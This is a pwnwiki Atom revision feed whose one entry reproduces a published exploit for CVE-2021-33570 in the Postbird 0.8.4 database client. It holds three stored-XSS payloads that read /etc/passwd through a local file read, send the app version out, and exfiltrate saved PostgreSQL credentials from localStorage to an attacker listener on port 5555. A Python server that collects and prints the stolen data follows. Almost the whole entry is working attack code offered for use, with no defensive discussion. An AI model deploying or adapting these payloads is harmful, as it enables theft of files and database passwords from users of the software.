<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-33570_Postbird_0.8.4_Javascript%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-33570 Postbird 0.8.4 Javascript注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-33570_Postbird_0.8.4_Javascript%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-33570_Postbird_0.8.4_Javascript%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-24T13:21:05Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-33570_Postbird_0.8.4_Javascript%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=3595&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Postbird 0.8.4 - Javascript Injection # Date: [26 May 2021] # Exploit Author: Debshubra Chakraborty # Vendor Homepage: https://github.com/paxa/p...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-33570_Postbird_0.8.4_Javascript%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=3595&amp;oldid=prev"/>
		<updated>2021-05-28T01:19:06Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Postbird 0.8.4 - Javascript Injection # Date: [26 May 2021] # Exploit Author: Debshubra Chakraborty # Vendor Homepage: https://github.com/paxa/p...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Postbird 0.8.4 - Javascript Injection&lt;br /&gt;
# Date: [26 May 2021]&lt;br /&gt;
# Exploit Author: Debshubra Chakraborty&lt;br /&gt;
# Vendor Homepage: https://github.com/paxa/postbird&lt;br /&gt;
# Software Link: https://www.electronjs.org/apps/postbird&lt;br /&gt;
# Version: 0.8.4 &lt;br /&gt;
# Tested on: Linux&lt;br /&gt;
# CVE : CVE-2021-33570&lt;br /&gt;
&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
XSS Payload&lt;br /&gt;
&amp;lt;img src=&amp;quot;&amp;quot; onerror=&amp;quot;var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?xss='+JSON.stringify(navigator.appVersion), true);xhttp.send();&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LFI Payload&lt;br /&gt;
&amp;lt;img src=&amp;quot;&amp;quot; onerror=&amp;quot;var xhttp = new XMLHttpRequest();xhttp.open('GET', 'file:///etc/passwd', false);xhttp.send();var res = xhttp.response;xhttp.open('GET', 'http://127.0.0.1 :5555/?file='+JSON.stringify(res), true);xhttp.send();&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PostgreSQL Password Stealing Payload&lt;br /&gt;
&amp;lt;img src=&amp;quot;&amp;quot; onerror=&amp;quot;var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?credentials='+window.localStorage.savedConnections, true);xhttp.send();&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
from http.server import BaseHTTPRequestHandler, HTTPServer&lt;br /&gt;
import urllib.parse&lt;br /&gt;
import re&lt;br /&gt;
&lt;br /&gt;
hostName = '0.0.0.0'&lt;br /&gt;
serverPort = 5555&lt;br /&gt;
&lt;br /&gt;
class MyServer(BaseHTTPRequestHandler):&lt;br /&gt;
    def do_GET(self):&lt;br /&gt;
        self.send_response(200)&lt;br /&gt;
        parse(urllib.parse.unquote(self.requestline))&lt;br /&gt;
&lt;br /&gt;
    def log_message(self, format, *args):&lt;br /&gt;
        return   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def parse(data):&lt;br /&gt;
    expression = re.search('\S+=', data)&lt;br /&gt;
    attr = expression.group()&lt;br /&gt;
&lt;br /&gt;
    if attr[2:len(attr)-1] == 'file':&lt;br /&gt;
        data = data[12:len(data)-11]    &lt;br /&gt;
        data = data.rsplit('\\n')&lt;br /&gt;
        print(f'\n[+] File received from LFI: \n\n')&lt;br /&gt;
        for output in data:&lt;br /&gt;
            print(output)&lt;br /&gt;
&lt;br /&gt;
    elif attr[2:len(attr)-1] == 'xss':&lt;br /&gt;
        data = data[11:len(data)-10]&lt;br /&gt;
        print(f'\n[+] Data exfiltration from Stored XSS: \n\n{data}')&lt;br /&gt;
    &lt;br /&gt;
    elif attr[2:len(attr)-1] == 'credentials':&lt;br /&gt;
        pos = re.search('{&amp;quot;\S+:', data)&lt;br /&gt;
        data = data[pos.start():len(data)-11]&lt;br /&gt;
        for i in range(2, len(data), 1):&lt;br /&gt;
            if data[i] == '&amp;quot;':&lt;br /&gt;
                pos = i&lt;br /&gt;
                break&lt;br /&gt;
&lt;br /&gt;
        host = data[2:pos]&lt;br /&gt;
        data = data[14:]&lt;br /&gt;
        data = data.rsplit(',')&lt;br /&gt;
        print(f'\n\n[+] The Database credentials received\n\nHost = {host}')&lt;br /&gt;
        for output in data:&lt;br /&gt;
            print(output)&lt;br /&gt;
    &lt;br /&gt;
    else:&lt;br /&gt;
        print(f'\n\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def main():        &lt;br /&gt;
    global hostName, serverPort&lt;br /&gt;
    webServer = HTTPServer((hostName, serverPort), MyServer)&lt;br /&gt;
    print(&amp;quot;Server started http://%s:%s&amp;quot; % (hostName, serverPort))&lt;br /&gt;
&lt;br /&gt;
    try:&lt;br /&gt;
        webServer.serve_forever()&lt;br /&gt;
    &lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        pass&lt;br /&gt;
&lt;br /&gt;
    webServer.server_close()&lt;br /&gt;
    print(&amp;quot;\nServer stopped.&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>